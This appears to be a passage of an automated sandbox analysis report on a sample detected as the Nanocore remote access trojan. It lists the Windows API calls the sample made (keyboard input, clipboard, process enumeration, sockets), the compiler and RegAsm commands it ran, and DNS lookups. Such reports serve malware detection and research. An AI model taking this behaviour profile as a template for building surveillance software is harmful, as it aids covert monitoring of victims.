kernel32.dll.GetModuleFileNameW
kernel32.dll.SetCurrentDirectoryW
kernel32.dll.FindResourceExA
bcrypt.dll.BCryptGetFipsAlgorithmMode
cryptsp.dll.CryptGetProvParam
cryptsp.dll.CryptSetKeyParam
cryptsp.dll.CryptDecrypt
cryptsp.dll.CryptEncrypt
kernel32.dll.ReleaseMutex
kernel32.dll.CreateMutexW
advapi32.dll.RegOpenKeyExA
advapi32.dll.RegQueryValueExA
shfolder.dll.SHGetFolderPathW
kernel32.dll.SetErrorMode
kernel32.dll.CreateDirectoryW
kernel32.dll.GetSystemInfo
kernel32.dll.CreateIoCompletionPort
kernel32.dll.PostQueuedCompletionStatus
ntdll.dll.NtQueryInformationThread
ntdll.dll.NtGetCurrentProcessorNumber
mscoreei.dll.LoadLibraryShim
culture.dll.ConvertLangIdToCultureName
mscoree.dll.DllGetClassObject
mscoreei.dll.DllGetClassObject
diasymreader.dll.DllGetClassObjectInternal
user32.dll.GetLastInputInfo
user32.dll.GetForegroundWindow
psapi.dll.EnumProcesses
user32.dll.GetKeyboardLayout
advapi32.dll.GetUserNameW
kernel32.dll.GlobalMemoryStatusEx
kernel32.dll.SwitchToThread
user32.dll.RegisterRawInputDevices
user32.dll.SetClipboardViewer
user32.dll.SendMessageA
user32.dll.SetProcessDPIAware
ws2_32.dll.WSAStartup
ws2_32.dll.WSASocketW
ws2_32.dll.setsockopt
ws2_32.dll.WSAEventSelect
ws2_32.dll.ioctlsocket
ws2_32.dll.closesocket
mscoree.dll.ND_RI2
mscoreei.dll.ND_RI2
kernel32.dll.GetCurrentProcessId
kernel32.dll.GetComputerNameW
advapi32.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW
kernel32.dll.LocalFree
kernel32.dll.CreateFileMappingW
kernel32.dll.MapViewOfFile
kernel32.dll.VirtualQuery
advapi32.dll.CreateWellKnownSid
kernel32.dll.WaitForSingleObject
kernel32.dll.OpenMutexW
kernel32.dll.OpenProcess
kernel32.dll.GetProcessTimes
ws2_32.dll.inet_addr
user32.dll.WaitMessage
dnsapi.dll.DnsQuery_A
ws2_32.dll.getaddrinfo
ws2_32.dll.freeaddrinfo
ws2_32.dll.bind
ws2_32.dll.WSAIoctl
ws2_32.dll.WSAGetOverlappedResult
kernel32.dll.FormatMessageW
kernel32.dll.SetThreadExecutionState

Execute Commands

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Seven01\AppData\Local\Temp\1o5xks03.cmdline"
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Seven01\AppData\Local\Temp\RESA920.tmp" "c:\Users\Seven01\AppData\Local\Temp\CSCE2E794A1DB1D42A6A6BCE8E35BE31410.TMP"

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven02_64 Seven02_64 VirtualBox 2018-05-21 16:19:13 2018-05-21 16:22:04 171

2 Host(s) detected

IP Address Hostname Reverse DNS
8.8.8.8 United States google-public-dns-a.google.com.
8.8.4.4 United States google-public-dns-b.google.com.

Host(s) by Country

Hosts Country 1
2 United States United States

#infosec #automation

TheSystem Itself @ 2018-05-21 16:21:20

Detected family: #Nanocore

TheSystem Itself @ 2018-05-21 16:26:02